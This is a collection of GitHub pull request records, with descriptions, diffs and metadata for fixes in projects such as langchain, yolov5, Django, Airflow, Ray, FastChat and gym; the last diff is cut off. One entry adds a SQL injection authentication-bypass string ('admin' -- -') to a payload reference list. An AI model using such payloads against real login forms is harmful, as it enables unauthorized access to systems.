- **Description**: The pydantic schema fields are supposed to be optional but the use of `...` makes them required. This causes a `ValidationError` when running the example code. I replaced `...` with `default=None` to make the fields optional as intended. I also standardized the format for all fields. - **Issue**: n/a - **Dependencies**: none - **Twitter handle**: https://twitter.com/m_atoms
https://api.github.com/repos/langchain-ai/langchain/pulls/20397
2024-04-12T19:37:42Z
2024-04-12T19:59:33Z
2024-04-12T19:59:33Z
2024-04-12T20:05:23Z
580
langchain-ai/langchain
43,576
Fix `radix_tree.py` insertion fail in ["*X", "*XX"] cases
diff --git a/data_structures/trie/radix_tree.py b/data_structures/trie/radix_tree.py index 66890346ec2b..ddadb3ef996a 100644 --- a/data_structures/trie/radix_tree.py +++ b/data_structures/trie/radix_tree.py @@ -54,10 +54,17 @@ def insert(self, word: str) -> None: word (str): word to insert >>> RadixNode("myprefix").insert("mystring") + + >>> root = RadixNode() + >>> root.insert_many(['myprefix', 'myprefixA', 'myprefixAA']) + >>> root.print_tree() + - myprefix (leaf) + -- A (leaf) + --- A (leaf) """ # Case 1: If the word is the prefix of the node # Solution: We set the current node as leaf - if self.prefix == word: + if self.prefix == word and not self.is_leaf: self.is_leaf = True # Case 2: The node has no edges that have a prefix to the word
Fixes: #8888 ### Describe your change: Consider a word, and a copy of that word, but with the last letter repeated twice. (e.g., ["ABC", "ABCC"]) When adding the second word's last letter, it only compares the previous word's prefix—the last letter of the word already in the Radix Tree: 'C'—and the letter to be added—the last letter of the word we're currently adding: 'C'. So it wrongly passes the "Case 1" check, marks the current node as a leaf node when it already was, then returns when there's still one more letter to add. The issue arises because `prefix` includes the letters of the node itself. (e.g., `nodes: {'C' : RadixNode()}, is_leaf: True, prefix: 'C'`) It can be easily circumvented by simply adding the `is_leaf` check, as the code already assumes you only input new words. - Test Case: `"A AA AAA AAAA AAAAA AAAAAA"` - Fixed correct output: ``` Words:['A', 'AA', 'AAA', 'AAAA', 'AAAAA', 'AAAAAA'] Tree: - A (leaf) -- A (leaf) --- A (leaf) ---- A (leaf) ----- A (leaf) ------ A (leaf) ``` - Current incorrect output: ``` Words: ['A', 'AA', 'AAA', 'AAAA', 'AAAAA', 'AAAAAA'] Tree: - A (leaf) -- AA (leaf) --- A (leaf) ---- AA (leaf) ``` 1. ✅ Insert "**A**". Node is empty. Insert "**A**". Node prefix = "**A**". 2. ❌ Insert "A**A**". Compare node prefix "**A**" to "A**A**". `"A" == "A"`. Fails to insert. No change. 3. ✅ Insert "A**AA**". Compare node prefix "**A**" to "A**AA**". `"A" != "AA"`. Insert "A**AA**". Node prefix = "**AA**". 4. ✅ Insert "AAA**A**". Compare node prefix "**AA**" to "AAA**A**". `"AA" != "A"`. Case 2: Since "AAA" exists, branch and insert "AAA**A**". Node prefix = "**A**". Follows the Step 1 pattern. 5. ❌ Insert "AAAA**A**". Follows the Step 2 pattern. 6. ✅ Insert "AAAA**AA**". Follows the Step 3 pattern. (And the next step would follow Step 1's.) *N.B.* It passed test cases for [Croatian Open Competition in Informatics 2012/2013 Contest #3 Task 5 HERKABE](https://hsin.hr/coci/archive/2012_2013/) * [ ] Add an algorithm? * [x] Fix a bug or typo in an existing algorithm? * [ ] Documentation change? ### Checklist: * [x] I have read [CONTRIBUTING.md](https://github.com/TheAlgorithms/Python/blob/master/CONTRIBUTING.md). * [x] This pull request is all my own work -- I have not plagiarized. * [x] I know that pull requests will not be merged if they fail the automated tests. * [x] This PR only changes one algorithm file. To ease review, please open separate PRs for separate algorithms. * [x] All new Python files are placed inside an existing directory. * [x] All filenames are in all lowercase characters with no spaces or dashes. * [x] All functions and variable names follow Python naming conventions. * [x] All function parameters and return values are annotated with Python [type hints](https://docs.python.org/3/library/typing.html). * [x] All functions have [doctests](https://docs.python.org/3/library/doctest.html) that pass the automated testing. * [x] All new algorithms include at least one URL that points to Wikipedia or another similar explanation. * [x] If this pull request resolves one or more open issues then the description above includes the issue number(s) with a [closing keyword](https://docs.github.com/en/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue): "Fixes #ISSUE-NUMBER".
https://api.github.com/repos/TheAlgorithms/Python/pulls/8870
2023-07-16T11:15:09Z
2023-07-24T09:29:06Z
2023-07-24T09:29:06Z
2023-07-24T09:30:04Z
255
TheAlgorithms/Python
29,803
Add two missing outputs in the walrus examples
diff --git a/README.md b/README.md index 2702a66..cd9baec 100644 --- a/README.md +++ b/README.md @@ -181,6 +181,7 @@ File "<stdin>", line 1 SyntaxError: invalid syntax >>> (a := "wtf_walrus") # This works though +'wtf_walrus' >>> a 'wtf_walrus' ``` @@ -195,6 +196,7 @@ SyntaxError: invalid syntax (6, 9) >>> (a := 6, 9) +(6, 9) >>> a 6
Assignment expressions are immediately evaluated and printed by the Python REPL.
https://api.github.com/repos/satwikkansal/wtfpython/pulls/204
2020-05-12T11:05:56Z
2020-05-16T12:27:53Z
2020-05-16T12:27:53Z
2020-05-16T12:27:53Z
143
satwikkansal/wtfpython
25,856
Copy wandb param dict before training to avoid overwrites.
diff --git a/utils/loggers/wandb/sweep.py b/utils/loggers/wandb/sweep.py index 206059bc30b..d49ea6f2778 100644 --- a/utils/loggers/wandb/sweep.py +++ b/utils/loggers/wandb/sweep.py @@ -16,8 +16,8 @@ def sweep(): wandb.init() - # Get hyp dict from sweep agent - hyp_dict = vars(wandb.config).get("_items") + # Get hyp dict from sweep agent. Copy because train() modifies parameters which confused wandb. + hyp_dict = vars(wandb.config).get("_items").copy() # Workaround: get necessary opt args opt = parse_opt(known=True)
Copy the hyperparameter dict retrieved from wandb configuration before passing it to `train()`. Training overwrites parameters in the dictionary (eg scaling obj/box/cls gains), which causes the values reported in wandb to not match the input values. This is confusing as it makes it hard to reproduce a run, and also throws off wandb's Bayesian sweep algorithm. ## 🛠️ PR Summary <sub>Made with ❤️ by [Ultralytics Actions](https://github.com/ultralytics/actions)<sub> ### 🌟 Summary Improved stability in the Weights & Biases (wandb) sweeping process within YOLOv5 repo. ### 📊 Key Changes - Modified the method of obtaining hyperparameters (`hyp_dict`) from the wandb sweep agent to include a `.copy()` operation. ### 🎯 Purpose & Impact - This change ensures that there are no unexpected behaviors during parameter sweeps, as `train()` modifies parameters that could confuse wandb if the dictionary is not copied. - Users conducting hyperparameter sweeps with wandb will experience more reliable and consistent logging and parameter handling. 🛠️
https://api.github.com/repos/ultralytics/yolov5/pulls/7317
2022-04-06T16:02:35Z
2022-04-06T16:35:34Z
2022-04-06T16:35:34Z
2024-01-19T11:36:12Z
170
ultralytics/yolov5
25,590
[serve] autoscaling release test deflake and debugging
diff --git a/release/serve_tests/workloads/locust_utils.py b/release/serve_tests/workloads/locust_utils.py index 01fe525c11604..e0fb7cdf9f8a1 100644 --- a/release/serve_tests/workloads/locust_utils.py +++ b/release/serve_tests/workloads/locust_utils.py @@ -1,4 +1,4 @@ -from dataclasses import dataclass +from dataclasses import asdict, dataclass from itertools import chain import json import logging @@ -7,6 +7,7 @@ from typing import Any, Dict, List import ray +from ray.serve._private.utils import generate_request_id logger = logging.getLogger(__file__) @@ -72,14 +73,16 @@ class EndpointUser(FastHttpUser): @task def test(self): - headers = {"Authorization": f"Bearer {token}"} if token else None + request_id = generate_request_id() + headers = ( + {"Authorization": f"Bearer {token}", "X-Request-ID": request_id} + if token + else None + ) with self.client.get( "", headers=headers, json=data, catch_response=True ) as r: - if r.status_code == 200: - r.request_meta["context"]["request_id"] = r.headers[ - "x-request-id" - ] + r.request_meta["context"]["request_id"] = request_id @events.request.add_listener def on_request( @@ -92,6 +95,7 @@ def on_request( ): if exception: request_id = context["request_id"] + response.encoding = "utf-8" err = FailedRequest( request_id=request_id, status_code=response.status_code, @@ -267,12 +271,13 @@ def run_locust_load_test(config: LocustLoadTestConfig) -> LocustTestResults: # Collect results and metrics stats: LocustTestResults = ray.get(master_ref) - errors = sorted(chain(*ray.get(worker_refs)), key=lambda e: e.start_time) + errors = sorted(chain(*ray.get(worker_refs)), key=lambda e: e.start_time_s) # If there were any requests that failed, raise error. if stats.num_failures > 0: + errors_json = [asdict(err) for err in errors] raise RuntimeError( - f"There were failed requests: {json.dumps(errors, indent=4)}" + f"There were failed requests: {json.dumps(errors_json, indent=4)}" ) return stats diff --git a/release/serve_tests/workloads/resnet_50.py b/release/serve_tests/workloads/resnet_50.py index 9e8fe5f190231..080c5c8b30131 100644 --- a/release/serve_tests/workloads/resnet_50.py +++ b/release/serve_tests/workloads/resnet_50.py @@ -33,8 +33,16 @@ def __init__(self): async def __call__(self, request: starlette.requests.Request) -> str: uri = (await request.json())["uri"] + try: image_bytes = requests.get(uri).content + except ( + requests.exceptions.ConnectionError, + requests.exceptions.ChunkedEncodingError, + ): + return + + try: image = Image.open(BytesIO(image_bytes)).convert("RGB") except PIL.UnidentifiedImageError: return
[serve] autoscaling release test deflake and debugging Deflake release test. From the logs sometimes the http request to get the image fails with connection reset error. For those few occasions we can just return. Also seeing some 504 errors but need more visibility, so this also adds better tracking for failed requests. Signed-off-by: Cindy Zhang <cindyzyx9@gmail.com>
https://api.github.com/repos/ray-project/ray/pulls/44747
2024-04-15T21:50:06Z
2024-04-16T18:25:07Z
2024-04-16T18:25:07Z
2024-04-16T18:25:07Z
773
ray-project/ray
19,681
[AIRFLOW-5306] Fix display of links when they contain special characters
diff --git a/airflow/www/templates/airflow/dag.html b/airflow/www/templates/airflow/dag.html index 43c1457adb740..11c52031d4e35 100644 --- a/airflow/www/templates/airflow/dag.html +++ b/airflow/www/templates/airflow/dag.html @@ -493,32 +493,30 @@ <h4 class="modal-title" id="dagModalLabel"> "&dag_id=" + encodeURIComponent(dag_id) + "&execution_date=" + encodeURIComponent(execution_date) + "&link_name=" + encodeURIComponent(link); + var external_link = $('<a href="#" data-toggle="tooltip" class="btn btn-primary disabled" target="_blank"></a>') + var link_tooltip = $('<span class="tool-tip" data-toggle="tooltip" style="padding-right: 2px; padding-left: 3px" data-placement="top" ' + + 'title="link not yet available"></span>'); + link_tooltip.append(external_link) + external_link.text(link); - var underscore_link = link.split(" ").join("_"); - var a = '<span class="tool-tip" data-toggle="tooltip" style="padding-right: 2px; padding-left: 3px" data-placement="top" ' + - 'title="link not yet available" id="tooltip-' + underscore_link +'">' + - '<a id="link-' + underscore_link +'" href="#" data-toggle="tooltip" class="btn btn-primary disabled" target="_blank">' + link + '</a>' + - '</span>'; $.ajax( {url: url, cache: false, success: function (data, textStatus, jqXHR) { - var external_link = $( "#link-" + underscore_link ); external_link.attr('href', data['url']); external_link.removeClass('disabled'); - $("#tooltip-" + underscore_link).tooltip('disable'); + link_tooltip.tooltip('disable'); }, error: function (data) { - var link_tooltip = $("#tooltip-" + underscore_link); link_tooltip.tooltip('hide').attr('title', data['responseJSON']['error']).tooltip('fixTitle'); } }); - markupArr.push(a) + markupArr.push(link_tooltip) }); $('#extra_links').prev('hr').show(); - $('#extra_links').append(markupArr.join('')).show(); + $('#extra_links').append(markupArr).show(); $('[data-toggle="tooltip"]').tooltip(); }
Make sure you have checked _all_ steps below. ### Jira - [ ] My PR addresses the following [Airflow Jira](https://issues.apache.org/jira/browse/AIRFLOW/) issues and references them in the PR title. For example, "\[AIRFLOW-XXX\] My Airflow PR" - https://issues.apache.org/jira/browse/AIRFLOW-5306 - In case you are fixing a typo in the documentation you can prepend your commit with \[AIRFLOW-XXX\], code changes always need a Jira issue. - In case you are proposing a fundamental code change, you need to create an Airflow Improvement Proposal ([AIP](https://cwiki.apache.org/confluence/display/AIRFLOW/Airflow+Improvements+Proposals)). - In case you are adding a dependency, check if the license complies with the [ASF 3rd Party License Policy](https://www.apache.org/legal/resolved.html#category-x). ### Description In PR https://github.com/apache/airflow/pull/5906 I wanted to create a link that contains the "#" character, but it was not set correctly in the web interface. CC: @milton0825 ### Tests - [ ] My PR adds the following unit tests __OR__ does not need testing for this extremely good reason: ### Commits - [ ] My commits all reference Jira issues in their subject lines, and I have squashed multiple commits if they address the same issue. In addition, my commits follow the guidelines from "[How to write a good git commit message](http://chris.beams.io/posts/git-commit/)": 1. Subject is separated from body by a blank line 1. Subject is limited to 50 characters (not including Jira issue reference) 1. Subject does not end with a period 1. Subject uses the imperative mood ("add", not "adding") 1. Body wraps at 72 characters 1. Body explains "what" and "why", not "how" ### Documentation - [ ] In case of new functionality, my PR adds documentation that describes how to use it. - All the public functions and the classes in the PR contain docstrings that explain what it does - If you implement backwards incompatible changes, please leave a note in the [Updating.md](https://github.com/apache/airflow/blob/master/UPDATING.md) so we can assign it to a appropriate release ### Code Quality - [ ] Passes `flake8`
https://api.github.com/repos/apache/airflow/pulls/5904
2019-08-24T11:13:26Z
2019-08-27T05:16:58Z
2019-08-27T05:16:57Z
2019-08-27T05:17:12Z
551
apache/airflow
14,767
legacy windows fix
diff --git a/rich/console.py b/rich/console.py index ac1d34c46..3b08e3949 100644 --- a/rich/console.py +++ b/rich/console.py @@ -941,7 +941,7 @@ def size(self) -> ConsoleDimensions: """ if self._width is not None and self._height is not None: - return ConsoleDimensions(self._width - self.legacy_windows, self._height) + return ConsoleDimensions(self._width, self._height) if self.is_dumb_terminal: return ConsoleDimensions(80, 25) @@ -963,7 +963,7 @@ def size(self) -> ConsoleDimensions: width = width or 80 height = height or 25 return ConsoleDimensions( - (width if self._width is None else self._width) - self.legacy_windows, + ((width - self.legacy_windows) if self._width is None else self._width), height if self._height is None else self._height, )
## Type of changes - [ ] Bug fix - [ ] New feature - [ ] Documentation / docstrings - [ ] Tests - [ ] Other ## Checklist - [ ] I've run the latest [black](https://github.com/psf/black) with default args on new code. - [ ] I've updated CHANGELOG.md and CONTRIBUTORS.md where appropriate. - [ ] I've added tests for new code. - [ ] I accept that @willmcgugan may be pedantic in the code review. ## Description Please describe your changes here. If this fixes a bug, please link to the issue, if possible.
https://api.github.com/repos/Textualize/rich/pulls/1649
2021-11-06T12:44:17Z
2021-11-06T12:57:23Z
2021-11-06T12:57:23Z
2021-11-06T12:57:38Z
231
Textualize/rich
48,579
Add Gemma
diff --git a/fastchat/conversation.py b/fastchat/conversation.py index 95576536c4..7a6aebed8e 100644 --- a/fastchat/conversation.py +++ b/fastchat/conversation.py @@ -1579,6 +1579,19 @@ def get_conv_template(name: str) -> Conversation: ) ) +# Gemma +# reference: https://huggingface.co/google/gemma-7b-it?text=%3Cstart_of_turn%3Euser%0AHow+does+the+brain+work%3F%3Cend_of_turn%3E%0A%3Cstart_of_turn%3Emodel +register_conv_template( + Conversation( + name="gemma", + system_message="<bos>", + roles=("<start_of_turn>user\n", "<start_of_turn>model\n"), + sep_style=SeparatorStyle.NO_COLON_SINGLE, + sep="<end_of_turn>\n", + stop_str="<end_of_turn>", + ) +) + if __name__ == "__main__": from fastchat.conversation import get_conv_template diff --git a/fastchat/model/model_adapter.py b/fastchat/model/model_adapter.py index 6d17aea73e..d7162bd6d0 100644 --- a/fastchat/model/model_adapter.py +++ b/fastchat/model/model_adapter.py @@ -2258,6 +2258,16 @@ def get_default_conv_template(self, model_path: str) -> Conversation: return get_conv_template("yuan") +class GemmaAdapter(BaseModelAdapter): + """The model adapter for Gemma""" + + def match(self, model_path: str): + return "gemma" in model_path.lower() + + def get_default_conv_template(self, model_path: str) -> Conversation: + return get_conv_template("gemma") + + # Note: the registration order matters. # The one registered earlier has a higher matching priority. register_model_adapter(PeftModelAdapter) @@ -2347,6 +2357,7 @@ def get_default_conv_template(self, model_path: str) -> Conversation: register_model_adapter(SteerLMAdapter) register_model_adapter(LlavaAdapter) register_model_adapter(YuanAdapter) +register_model_adapter(GemmaAdapter) # After all adapters, try the default base adapter. register_model_adapter(BaseModelAdapter) diff --git a/fastchat/model/model_registry.py b/fastchat/model/model_registry.py index 1673bfe3f7..a2d79ac0d5 100644 --- a/fastchat/model/model_registry.py +++ b/fastchat/model/model_registry.py @@ -656,3 +656,10 @@ def get_model_info(name: str) -> ModelInfo: "https://github.com/haotian-liu/LLaVA", "an open large language and vision assistant", ) + +register_model_info( + ["gemma-7b-it", "gemma-2b-it"], + "Gemma", + "https://blog.google/technology/developers/gemma-open-models/", + "Gemma by Google", +)
## Why are these changes needed? Adds the Gemma chat template for running the new Google Gemma models. ## Checks - [ ] I've run `format.sh` to lint the changes in this PR. - [ ] I've included any doc changes needed. - [ ] I've made sure the relevant tests are passing (if applicable).
https://api.github.com/repos/lm-sys/FastChat/pulls/3078
2024-02-22T17:08:37Z
2024-02-25T19:10:02Z
2024-02-25T19:10:02Z
2024-03-11T08:24:27Z
684
lm-sys/FastChat
41,399
Improve frontend responsiveness for some buttons
diff --git a/javascript/ui.js b/javascript/ui.js index ed9673d64e1..56ee05aa2c7 100644 --- a/javascript/ui.js +++ b/javascript/ui.js @@ -438,4 +438,54 @@ function updateImg2imgResizeToTextAfterChangingImage(){ }, 500); return [] + +} + +function setRandomSeed(target_interface) { + let seed = gradioApp().querySelector(`#${target_interface}_seed input`); + if (!seed) { + return []; + } + seed.value = "-1"; + seed.dispatchEvent(new Event("input")); + return []; +} + +function setRandomSubseed(target_interface) { + let subseed = gradioApp().querySelector(`#${target_interface}_subseed input`); + if (!subseed) { + return []; + } + subseed.value = "-1"; + subseed.dispatchEvent(new Event("input")); + return []; +} + +function switchWidthHeightTxt2Img() { + let width = gradioApp().querySelector("#txt2img_width input[type=number]"); + let height = gradioApp().querySelector("#txt2img_height input[type=number]"); + if (!width || !height) { + return []; + } + let tmp = width.value; + width.value = height.value; + height.value = tmp; + width.dispatchEvent(new Event("input")); + height.dispatchEvent(new Event("input")); + return []; +} + +function switchWidthHeightImg2Img() { + let width = gradioApp().querySelector("#img2img_width input[type=number]"); + let height = gradioApp().querySelector("#img2img_height input[type=number]"); + if (!width || !height) { + return []; + } + let tmp = width.value; + width.value = height.value; + height.value = tmp; + width.dispatchEvent(new Event("input")); + height.dispatchEvent(new Event("input")); + return []; } + diff --git a/modules/ui.py b/modules/ui.py index a47af214ab4..552a8af27c2 100644 --- a/modules/ui.py +++ b/modules/ui.py @@ -189,8 +189,9 @@ def create_seed_inputs(target_interface): seed_resize_from_w = gr.Slider(minimum=0, maximum=2048, step=8, label="Resize seed from width", value=0, elem_id=f"{target_interface}_seed_resize_from_w") seed_resize_from_h = gr.Slider(minimum=0, maximum=2048, step=8, label="Resize seed from height", value=0, elem_id=f"{target_interface}_seed_resize_from_h") - random_seed.click(fn=lambda: -1, show_progress=False, inputs=[], outputs=[seed]) - random_subseed.click(fn=lambda: -1, show_progress=False, inputs=[], outputs=[subseed]) + target_interface_state = gr.Textbox(target_interface, visible=False) + random_seed.click(fn=None, _js="setRandomSeed", show_progress=False, inputs=[target_interface_state], outputs=[]) + random_subseed.click(fn=None, _js="setRandomSubseed", show_progress=False, inputs=[target_interface_state], outputs=[]) def change_visibility(show): return {comp: gr_show(show) for comp in seed_extras} @@ -574,7 +575,7 @@ def create_ui(): txt2img_prompt.submit(**txt2img_args) submit.click(**txt2img_args) - res_switch_btn.click(lambda w, h: (h, w), inputs=[width, height], outputs=[width, height], show_progress=False) + res_switch_btn.click(fn=None, _js="switchWidthHeightTxt2Img", inputs=None, outputs=None, show_progress=False) restore_progress_button.click( fn=progress.restore_progress, @@ -949,7 +950,8 @@ def select_img2img_tab(tab): img2img_prompt.submit(**img2img_args) submit.click(**img2img_args) - res_switch_btn.click(lambda w, h: (h, w), inputs=[width, height], outputs=[width, height], show_progress=False) + + res_switch_btn.click(fn=None, _js="switchWidthHeightImg2Img", inputs=None, outputs=None, show_progress=False) restore_progress_button.click( fn=progress.restore_progress,
**Describe what this pull request is trying to achieve.** Since some of the UI buttons do a simple action like set the seed to `-1`, can improve responsiveness by offloading that behavior to JS, instead of taking a full round trip from the backend to frontend then back again This makes the response to clicking the "reset seed" buttons near-instant **Additional notes and description of your changes** Gradio event handlers are bypassed and the reset logic was moved into JS **Environment this was tested in** List the environment you have developed / tested this on. As per the contributing page, changes should be able to work on Windows out of the box. - OS: Windows - Browser: Chrome - Graphics card: NVIDIA RTX 3090 **Screenshots or videos of your changes** N/A
https://api.github.com/repos/AUTOMATIC1111/stable-diffusion-webui/pulls/9348
2023-04-04T02:30:05Z
2023-05-17T20:19:09Z
2023-05-17T20:19:08Z
2023-05-17T20:19:09Z
966
AUTOMATIC1111/stable-diffusion-webui
40,084
Add authentification bypass
diff --git a/SQL Injection/README.md b/SQL Injection/README.md index 842b136238..a831e98384 100644 --- a/SQL Injection/README.md +++ b/SQL Injection/README.md @@ -292,6 +292,7 @@ or 1=1-- or 1=1# or 1=1/* admin' -- +admin' -- - admin' # admin'/* admin' or '2' LIKE '1
admin' -- - (variant of pre-existing)
https://api.github.com/repos/swisskyrepo/PayloadsAllTheThings/pulls/54
2019-03-21T16:44:48Z
2019-03-21T22:33:31Z
2019-03-21T22:33:31Z
2019-03-21T22:33:31Z
105
swisskyrepo/PayloadsAllTheThings
8,566
skip `test_encode_decode_fast_slow_all_tokens` for now
diff --git a/tests/test_tokenization_common.py b/tests/test_tokenization_common.py index 4ff17ab5573a9..e98f09d431af3 100644 --- a/tests/test_tokenization_common.py +++ b/tests/test_tokenization_common.py @@ -1580,6 +1580,10 @@ def test_maximum_encoding_length_pair_input(self): self.assertEqual(len(overflowing_tokens), 2 + stride) self.assertEqual(overflowing_tokens, seq1_tokens[-(2 + stride) :]) + # TODO: FIXME @ArthurZucker + @unittest.skip( + reason="start to fail after # 29473. See https://github.com/huggingface/transformers/pull/29473#pullrequestreview-1945687810" + ) @slow @require_read_token def test_encode_decode_fast_slow_all_tokens(self):
# What does this PR do? This starts to fail after #29473 See https://github.com/huggingface/transformers/pull/29473#pullrequestreview-1945687810
https://api.github.com/repos/huggingface/transformers/pulls/30044
2024-04-04T13:08:01Z
2024-04-05T07:07:41Z
2024-04-05T07:07:41Z
2024-04-05T07:07:42Z
195
huggingface/transformers
12,021
Fixed #29400: Allow @register.filter on already-decorated functions
diff --git a/AUTHORS b/AUTHORS index 088bf04e8da8c..34e729bb1f53e 100644 --- a/AUTHORS +++ b/AUTHORS @@ -722,6 +722,7 @@ answer newbie questions, and generally made Django that much better: ryankanno Ryan Kelly <ryan@rfk.id.au> Ryan Niemeyer <https://profiles.google.com/ryan.niemeyer/about> + Ryan Rubin <ryanmrubin@gmail.com> Ryno Mathee <rmathee@gmail.com> Sam Newman <http://www.magpiebrain.com/> Sander Dijkhuis <sander.dijkhuis@gmail.com> diff --git a/django/template/base.py b/django/template/base.py index 9dafd3eb59d46..c2376ff5a5cc8 100644 --- a/django/template/base.py +++ b/django/template/base.py @@ -53,7 +53,7 @@ import logging import re from enum import Enum -from inspect import getcallargs, getfullargspec +from inspect import getcallargs, getfullargspec, unwrap from django.template.context import ( # NOQA: imported for backwards compatibility BaseContext, Context, ContextPopException, RequestContext, @@ -707,7 +707,7 @@ def args_check(name, func, provided): # First argument, filter input, is implied. plen = len(provided) + 1 # Check to see if a decorator is providing the real function. - func = getattr(func, '_decorated_function', func) + func = unwrap(func) args, _, _, defaults, _, _, _ = getfullargspec(func) alen = len(args) diff --git a/docs/releases/2.0.6.txt b/docs/releases/2.0.6.txt index 659c3533e7e52..5d401a7ea9be9 100644 --- a/docs/releases/2.0.6.txt +++ b/docs/releases/2.0.6.txt @@ -9,4 +9,5 @@ Django 2.0.6 fixes several bugs in 2.0.5. Bugfixes ======== -* ... +* Fixed a regression that broke custom template filters that use decorators + (:ticket:`29400`). diff --git a/tests/template_tests/templatetags/custom.py b/tests/template_tests/templatetags/custom.py index 2e2ccf3782ab1..45acd9655ec7a 100644 --- a/tests/template_tests/templatetags/custom.py +++ b/tests/template_tests/templatetags/custom.py @@ -3,6 +3,7 @@ from django import template from django.template.defaultfilters import stringfilter from django.utils.html import escape, format_html +from django.utils.safestring import mark_safe register = template.Library() @@ -13,6 +14,13 @@ def trim(value, num): return value[:num] +@register.filter +@mark_safe +def make_data_div(value): + """A filter that uses a decorator (@mark_safe).""" + return '<div data-name="%s"></div>' % value + + @register.filter def noop(value, param=None): """A noop filter that always return its first argument and does nothing with diff --git a/tests/template_tests/test_custom.py b/tests/template_tests/test_custom.py index b37b5f8f1e16b..dbc5bc267d8d3 100644 --- a/tests/template_tests/test_custom.py +++ b/tests/template_tests/test_custom.py @@ -25,6 +25,11 @@ def test_filter(self): "abcde" ) + def test_decorated_filter(self): + engine = Engine(libraries=LIBRARIES) + t = engine.from_string('{% load custom %}{{ name|make_data_div }}') + self.assertEqual(t.render(Context({'name': 'foo'})), '<div data-name="foo"></div>') + class TagTestCase(SimpleTestCase):
`inspect.getfullargspec` is being passed the function, but if that function is decorated, `inspect.getfullargspec` [does not read `__wrapped__` attributes as of Python 3.4](https://docs.python.org/3/library/inspect.html#inspect.getfullargspec). The function object is checked for a _decorated_function attribute, but that's not always present. `inspect.unwrap` will get the original function for the call to `inspect.getfullargspec`, though.
https://api.github.com/repos/django/django/pulls/9979
2018-05-24T22:59:40Z
2018-05-25T15:11:47Z
2018-05-25T15:11:46Z
2018-05-25T16:38:12Z
907
django/django
51,381
Docs: Add more section labels for referencing
diff --git a/docs/user/advanced.rst b/docs/user/advanced.rst index b1e334bb87..6ec61eac16 100644 --- a/docs/user/advanced.rst +++ b/docs/user/advanced.rst @@ -5,6 +5,7 @@ Advanced Usage This document covers some of Requests more advanced features. +.. _session-objects: Session Objects --------------- @@ -50,6 +51,8 @@ parameters. All values that are contained within a session are directly available to you. See the :ref:`Session API Docs <sessionapi>` to learn more. +.. _request-and-response-objects: + Request and Response Objects ---------------------------- @@ -82,6 +85,8 @@ request, and then the request's headers:: {'Accept-Encoding': 'identity, deflate, compress, gzip', 'Accept': '*/*', 'User-Agent': 'python-requests/1.2.0'} +.. _prepared-requests: + Prepared Requests ----------------- @@ -189,6 +194,7 @@ If you specify a wrong path or an invalid cert:: >>> requests.get('https://kennethreitz.com', cert='/wrong_path/server.pem') SSLError: [Errno 336265225] _ssl.c:347: error:140B0009:SSL routines:SSL_CTX_use_PrivateKey_file:PEM lib +.. _body-content-workflow: Body Content Workflow --------------------- @@ -228,6 +234,7 @@ consider using ``contextlib.closing`` (`documented here`_), like this:: .. _`documented here`: http://docs.python.org/2/library/contextlib.html#contextlib.closing +.. _keep-alive: Keep-Alive ---------- @@ -240,6 +247,7 @@ Note that connections are only released back to the pool for reuse once all body data has been read; be sure to either set ``stream`` to ``False`` or read the ``content`` property of the ``Response`` object. +.. _streaming-uploads: Streaming Uploads ----------------- @@ -251,6 +259,7 @@ file-like object for your body:: with open('massive-body', 'rb') as f: requests.post('http://some.url/streamed', data=f) +.. _chunk-encoding: Chunk-Encoded Requests ---------------------- @@ -267,6 +276,7 @@ a length) for your body:: requests.post('http://some.url/chunked', data=gen()) +.. _multipart: POST Multiple Multipart-Encoded Files ------------------------------------- @@ -290,6 +300,7 @@ To do that, just set files to a list of tuples of (form_field_name, file_info): ... } +.. _event-hooks: Event Hooks ----------- @@ -329,6 +340,7 @@ Let's print some request method arguments at runtime:: http://httpbin.org <Response [200]> +.. _custom-auth: Custom Authentication --------------------- @@ -387,6 +399,7 @@ set ``stream`` to ``True`` and iterate over the response with if line: print(json.loads(line)) +.. _proxies: Proxies -------
so sections can be linked from other projects using Intersphinx
https://api.github.com/repos/psf/requests/pulls/2348
2014-11-17T10:42:33Z
2014-11-30T19:12:04Z
2014-11-30T19:12:04Z
2021-09-08T09:01:12Z
710
psf/requests
32,254
Remove try except from box2d __init__.py
diff --git a/gym/envs/box2d/__init__.py b/gym/envs/box2d/__init__.py index 6d98240a78f..e702010b621 100644 --- a/gym/envs/box2d/__init__.py +++ b/gym/envs/box2d/__init__.py @@ -1,8 +1,3 @@ -try: - import Box2D - - from gym.envs.box2d.bipedal_walker import BipedalWalker, BipedalWalkerHardcore - from gym.envs.box2d.car_racing import CarRacing - from gym.envs.box2d.lunar_lander import LunarLander, LunarLanderContinuous -except ImportError: - Box2D = None +from gym.envs.box2d.bipedal_walker import BipedalWalker, BipedalWalkerHardcore +from gym.envs.box2d.car_racing import CarRacing +from gym.envs.box2d.lunar_lander import LunarLander, LunarLanderContinuous
With https://github.com/openai/gym/pull/2782, we added try except to all of the Box2d environment, however I had not realised that the box2d `__init__.py` contains a similar try except that was not removed. Thanks https://github.com/openai/gym/issues/2795#issuecomment-1117630203 for spotting it This shouldn't cause any issues, as unless you import box2d environments without box2d this should not raise any new errors (hopefully)
https://api.github.com/repos/openai/gym/pulls/2816
2022-05-12T14:50:00Z
2022-05-12T15:18:23Z
2022-05-12T15:18:23Z
2022-05-12T15:18:23Z
244
openai/gym
5,552
`--freeze` fix
diff --git a/train.py b/train.py index ae19c1851d6..17e816c06ed 100644 --- a/train.py +++ b/train.py @@ -60,7 +60,7 @@ def train(hyp, # path/to/hyp.yaml or hyp dictionary device, callbacks ): - save_dir, epochs, batch_size, weights, single_cls, evolve, data, cfg, resume, noval, nosave, workers, freeze, = \ + save_dir, epochs, batch_size, weights, single_cls, evolve, data, cfg, resume, noval, nosave, workers, freeze = \ Path(opt.save_dir), opt.epochs, opt.batch_size, opt.weights, opt.single_cls, opt.evolve, opt.data, opt.cfg, \ opt.resume, opt.noval, opt.nosave, opt.workers, opt.freeze @@ -124,7 +124,7 @@ def train(hyp, # path/to/hyp.yaml or hyp dictionary model = Model(cfg, ch=3, nc=nc, anchors=hyp.get('anchors')).to(device) # create # Freeze - freeze = [f'model.{x}.' for x in (freeze if isinstance(freeze, list) else range(freeze))] # layers to freeze + freeze = [f'model.{x}.' for x in (freeze if len(freeze) > 1 else range(freeze[0]))] # layers to freeze for k, v in model.named_parameters(): v.requires_grad = True # train all layers if any(x in k for x in freeze): @@ -469,7 +469,7 @@ def parse_opt(known=False): parser.add_argument('--linear-lr', action='store_true', help='linear LR') parser.add_argument('--label-smoothing', type=float, default=0.0, help='Label smoothing epsilon') parser.add_argument('--patience', type=int, default=100, help='EarlyStopping patience (epochs without improvement)') - 